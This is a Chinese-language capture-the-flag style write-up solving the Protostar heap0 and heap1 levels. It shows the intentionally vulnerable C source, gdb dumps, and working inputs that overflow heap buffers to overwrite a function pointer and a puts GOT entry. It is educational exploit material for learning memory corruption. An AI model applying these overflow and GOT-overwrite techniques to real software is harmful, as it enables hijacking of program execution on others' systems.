# 1 Heap0

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
   char name[64];
};

struct fp {
   int (*fp)();
};

void winner()
{
   printf("level passed\n");
}

void nowinner()
{
   printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
   struct data *d;
   struct fp *f;

   d = malloc(sizeof(struct data));
   f = malloc(sizeof(struct fp));
   f->fp = nowinner;

   printf("data is at %p, fp is at %p\n", d, f);

   strcpy(d->name, argv[1]);

   f->fp();

}
```

从代码中看到，main 函数最后会跳转到 `f->fp` 所指向的地址，而指针 `f->fp` 位于堆上。首先直接运行程序，结果如下。

```
user@protostar:/opt/protostar/bin$ ./heap0 1 1
data is at 0x804a008, fp is at 0x804a050
level has not been passed
```

程序输出了 data 与 fp 的内存地址，注意到 data 处于 fp 的低地址，又注意到程序中的 strcpy 函数将数据复制到了 d 所在的位置，可以让 strcpy 函数越界访问以修改 fp 指针的内容。

fp 的地址相对 data 的偏置为72字节，因此尝试输入72个字符占位，可以看到， fp 指针的内容已经被修改

```
Breakpoint 1, 0x080484fb in main (argc=2, argv=0xbffff804) at heap0/heap0.c:38
38      heap0/heap0.c: No such file or directory.
        in heap0/heap0.c
(gdb) x/64xw 0x804a008
0x804a008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a038:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a048:      0x41414141      0x41414141      0x34333231      0x00000000
0x804a058:      0x00000000      0x00020fa9      0x00000000      0x00000000
0x804a068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a078:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a088:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a098:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a8:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b8:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c8:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d8:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e8:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f8:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

接下来，查询 winner 函数的地址。

```
(gdb) disas winner
Dump of assembler code for function winner:
0x08048464 <winner+0>:  push   %ebp
0x08048465 <winner+1>:  mov    %esp,%ebp
0x08048467 <winner+3>:  sub    $0x18,%esp
0x0804846a <winner+6>:  movl   $0x80485d0,(%esp)
0x08048471 <winner+13>: call   0x8048398 <puts@plt>
0x08048476 <winner+18>: leave
0x08048477 <winner+19>: ret
End of assembler dump.
```

于是，我们构造除了输入字符串:

./heap0 $(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x84\x04\x08")

运行结果如下:

```
user@protostar:/opt/protostar/bin$ ./heap0 $(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA\x64\x84\x04\x08")
data is at 0x804a008, fp is at 0x804a050
level passed
```

## 2 Heap1

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

```

```c
struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
```

本题没有根据指针跳转的代码，因此不能使用上一题的方法进行攻击。

首先使用 `ltrace` 查看 `malloc` 在堆空间分配的内存地址：

```
user@protostar:/opt/protostar/bin$ ltrace ./heap1 1 1
__libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                                    = 0x0804a008
malloc(8)                                                    = 0x0804a018
malloc(8)                                                    = 0x0804a028
malloc(8)                                                    = 0x0804a038
strcpy(0x0804a018, "1")                                      = 0x0804a018
strcpy(0x0804a038, "1")                                      = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                                          = 25
+++ exited (status 25) +++
```

可以看到，题目中4次 `malloc` 在堆上分配了4个8字节空间，并且内存地址从低到高依次排布。也就是说 `i1->name` 所指向的地址在 `i2->name` 指针所在地址空间的低地址，通过 `strcpy(i1->name, argv[1])` 越界写入，可以修改 `i2->name` 指针的内容，从而让 `strcpy(i2->name, argv[2])` 修改指定地址的内存。

注意到 `i2` 相对于 `i1->name` 所指的地址有16字节的偏移，且 `name` 相较于 `internet` 结构的开始还有4字节的偏移，我们需要20个字符的填充，之后便可以用4个字节修改 `i2->name` 指针的内容。如下所示，

```
(gdb) b *0x0804853d
Breakpoint 1 at 0x804853d: file heap1/heap1.c, line 32.
(gdb) r AAAAAAAAAAAAAAAAAAAA1234567890 123
Starting program: /opt/protostar/bin/heap1 AAAAAAAAAAAAAAAAAAAA1234567890 1

Breakpoint 1, main (argc=3, argv=0xbffff824) at heap1/heap1.c:32
32      heap1/heap1.c: No such file or directory.
        in heap1/heap1.c
(gdb) x/32wx 0x0804a018
0x804a018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a028:      0x41414141      0x34333231      0x38373635      0x00003039
0x804a038:      0x00000000      0x00000000      0x00000000      0x00020fc1
0x804a048:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a058:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a078:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a088:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/32wx 0x0804a028
0x804a028:      0x41414141      0x34333231      0x38373635      0x00003039
0x804a038:      0x00000000      0x00000000      0x00000000      0x00020fc1
0x804a048:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a058:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a078:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a088:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a098:      0x00000000      0x00000000      0x00000000      0x00000000
```

接下来需要找出写入的目标地址。一种思路是修改 main 函数的返回地址，但是返回地址所在的内存地址可能变化。注意到 main 函数结束前有一次 printf ，对其进行反编译，发现在 0x080483cc 处的指令进行了一次跳转，跳转的目标地址保存在 0x08049774 处，所以只要修改该处的数据，便可以跳转到任意地址。

```
0x08048545 <main+140>:  mov    %eax,%edx
0x08048547 <main+142>:  mov    0x18(%esp),%eax
0x0804854b <main+146>:  mov    0x4(%eax),%eax
0x0804854e <main+149>:  mov    %edx,0x4(%esp)
0x08048552 <main+153>:  mov    %eax,(%esp)
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  movl   $0x804864b,(%esp)
0x08048561 <main+168>:  call   0x80483cc <puts@plt>
0x08048566 <main+173>:  leave
0x08048567 <main+174>:  ret
End of assembler dump.
(gdb) disass 0x080483d2
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:        jmp    *0x8049774
0x080483d2 <puts@plt+6>:        push   $0x30
0x080483d7 <puts@plt+11>:       jmp    0x804835c
End of assembler dump.
(gdb) |
```

找到 winner 函数的起始地址，作为第二个参数输入

```
(gdb) disass winner
Dump of assembler code for function winner:
0x08048494 <winner+0>:  push   %ebp
0x08048495 <winner+1>:  mov    %esp,%ebp
0x08048497 <winner+3>:  sub    $0x18,%esp
0x0804849a <winner+6>:  movl   $0x0,(%esp)
0x080484a1 <winner+13>: call   0x80483ac <time@plt>
0x080484a6 <winner+18>: mov    $0x8048630,%edx
0x080484ab <winner+23>: mov    %eax,0x4(%esp)
0x080484af <winner+27>: mov    %edx,(%esp)
0x080484b2 <winner+30>: call   0x804839c <printf@plt>
0x080484b7 <winner+35>: leave
0x080484b8 <winner+36>: ret
End of assembler dump.
```

于是我们构造出了攻击输入:

```
./heap1 $(echo -e "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08") $(echo -e
"\x94\x84\x04\x08")
```

运行结果如下:

```
user@protostar:/opt/protostar/bin$ ./heap1 $(echo -e "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08") $(echo -e
 "\x94\x84\x04\x08")
and we have a winner @ 1698950448
```